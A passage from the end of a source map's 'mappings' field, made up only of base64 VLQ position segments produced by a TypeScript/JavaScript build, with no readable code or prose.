AAC,QAAQ,EAAE,SAAS,UAAU,EAAE,CAAC;CAC1C;AAED,wDAAwD;AACxD,MAAM,WAAW,aAAa;IAC5B,QAAQ,CAAC,KAAK,EAAE,eAAe,CAAC;IAChC,mEAAmE;IACnE,QAAQ,CAAC,gBAAgB,CAAC,EAAE,OAAO,CAAC;CACrC;AAID,qBAAa,mBAAmB;IAC9B,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAwB;gBAErC,QAAQ,GAAE,SAAS,UAAU,EAAiB;IAI1D;;;OAGG;IACH,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,eAAe;IAyDvC;;;;OAIG;IACH,cAAc,CAAC,CAAC,SAAS,WAAW,EAAE,QAAQ,EAAE,CAAC,GAAG;QAClD,QAAQ,EAAE,CAAC,CAAC;QACZ,OAAO,EAAE,aAAa,CAAC;KACxB;CAoEF"}